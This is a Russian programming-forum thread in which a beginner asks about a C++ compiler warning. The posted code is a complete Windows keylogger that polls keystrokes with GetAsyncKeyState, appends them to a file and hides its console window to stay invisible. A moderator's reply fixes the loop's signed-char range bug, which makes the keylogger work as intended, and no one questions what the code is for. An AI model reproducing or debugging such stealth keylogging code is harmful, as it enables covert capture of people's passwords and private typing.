Форум программистов, компьютерный форум CyberForum.ru

warning - C++

Восстановить пароль Регистрация
 
nafnaf
Сообщений: n/a
28.11.2010, 00:01     warning #1
помогите новичку, что за warning 16(comparison is always true due to limited range of data type) и как убрать?


C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <iostream>
#include <Windows.h>
#include <WinUser.h>
 
 
using namespace std;
 
int writetext(int Keystroke, char *file);
void invisible();
 
int main() {
    invisible();
    char i;
 
    while (1 == 1){
        for (i = 8; i<=190; i++) {
            if(GetAsyncKeyState(i) == -32767) {
                writetext (i, "Keys.txt"); 
            }
        }
    }
    cin.get();
    return 0;
}
 
int writetext(int key, char *file)
{
    if((key == 1) || (key == 2))
        return 0;
 
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout << key << endl;
 
    if (key == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "\n[TAB]");
    else if (key == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "\n[SHIFT]");
    else if (key == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "\n[CONTROL]");
    else if (key == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "\n[ESCAPE]");
    else if (key == VK_END)
        fprintf(OUTPUT_FILE, "%s", "\n[END]");
    else if (key == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "\n[HOME]");
    else if (key == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "\n[LEFT]");
    else if (key == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "\n[RIGHT]");
    else if (key == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "\n[UP]");
    else if (key == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "\n[DOWN]");
    else if (key == 190 || key == 110 )
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key);
 
    fclose(OUTPUT_FILE);
 
 
    return 0;
}
 
void invisible() {
 
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);
 
}
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
28.11.2010, 00:01     warning
Посмотрите здесь:

warning C4930 C++
C++ warning strtok
Warning ... is assigned a value that is never used C++
Предупреждение warning C4996: 'itoa' C++
Warning C4715 C++
Warning в switch C++
Warning на const string C++
C++ Warning C4101 и warning C4996

Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
ForEveR
Модератор
Эксперт C++
 Аватар для ForEveR
7927 / 4709 / 318
Регистрация: 24.06.2010
Сообщений: 10,524
Завершенные тесты: 3
28.11.2010, 00:12     warning #2
C++
1
2
3
4
    char i;
 
    while (1 == 1){
        for (i = 8; i<=190; i++)
Как минимум цикл можно писать просто while(1)
+ т.к. i имеет тип signed char, то ограничена сверху значением 127... А вы гоните до 190. Нехорошо. Либо сделать int, либо unsigned char.
Yandex
Объявления
28.11.2010, 00:12     warning
Ответ Создать тему
Опции темы

Текущее время: 20:46. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru